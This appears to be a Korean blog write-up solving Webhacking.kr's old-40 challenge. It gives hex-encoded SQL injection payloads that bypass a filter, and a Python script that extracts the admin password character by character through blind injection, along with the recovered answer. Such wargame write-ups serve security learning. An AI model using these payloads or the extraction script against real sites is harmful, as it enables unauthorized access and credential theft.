로그인 페이지가 보인다.
no, id, pw를 입력하는 form이 있다.
주어진 데이터로 로그인하면 guest로 로그인된다.
이번에도 DB관련 문제다.
select query에서 where는 no=□ and id=□ and pw=□처럼 and로 묶여있을 것 같다.
일단 no, id, pw중에 injection이 가능한 곳을 찾아봤다.
결과적으로 no에서만 injection이 가능한 것으로 보인다.
그리고 id와 pw를 빈 스트링으로 두면 제대로 로그인 할 수 없었다.
(추가적으로 알아낸 것은 no에서 공백이 필터링 된다는 것 정도?)
이제 admin으로 로그인해보자.
no가 1일 때 guest로 로그인되었다.
no이 0, 2, 3, ...일 때도 확인해봤다.
그 결과 1일 때를 제외하곤 모두 Failure되는 것 같았다.
따라서 no에 1을 제외한 아무값이나 넣고 id='admin'#을 ||로 연결했다. (or 앞이 거짓일 경우, 뒤의 식 적용)
0||id='admin'#
음 무언가 필터링되는 게 있는 것 같다.
저기에서 건드릴 수 있는 부분은 id='admin'밖엔 보이지 않는다.
id를 문자열 대신에 hex로 변환하여 넣어봤다.
0||id=0x61646d696e#
그 결과로 admin으로 로그인된게 아니라 admin으로 로그인할 수 있는 form이 생겼다.
가장 기본적인 쿼리를 보내봤다.
음 결과는 당연히 Wrong.
아무래도 pw를 직접 찾아야 할 거 같다.
sql injection이 되는 이전 페이지에서 찾아보자!
일단 확인 결과 no에서 substr은 필터링 되지 않았다.
substr을 가지고 admin password를 찾아봤다.
import requests
url="https://webhacking.kr/challenge/web-29/index.php"
length=1
while(True):
query="?no=0||id=0x61646d696e%26%26length(pw)="+str(length)+"%23&id=guest&pw=guest"
result = requests.get(url+query)
if "admin password :" in result.text:
print("password length:", length)
break
print(length)
length+=1
pw=""
for i in range(1, length+1):
for ch in range(33, 127):
query="?no=0||id=0x61646d696e%26%26substr(pw,"+str(i)+",1)=0x"+hex(ch).split("0x")[1]+"%23&id=guest&pw=guest"
result = requests.get(url+query)
if "admin password :" in result.text:
pw+=chr(ch)
print(pw)
break
실행결과 :
LUCK_ADMIN을 제출했더니
Wrong이 뜬다....
혹시나 대소문자 문제일까 싶어 소문자로 바꾸고 보내봤다.
old-40 해결!
'Study > Web Hacking' 카테고리의 다른 글
[dreamhack] web (0) | 2022.01.25 |
---|---|
[dreamhack] http/https (0) | 2022.01.25 |
[Webhacking.kr] old-29 (0) | 2021.11.11 |
[Webhacking.kr] old-55 (0) | 2021.11.05 |
[Webhacking.kr] old-34 (0) | 2021.11.05 |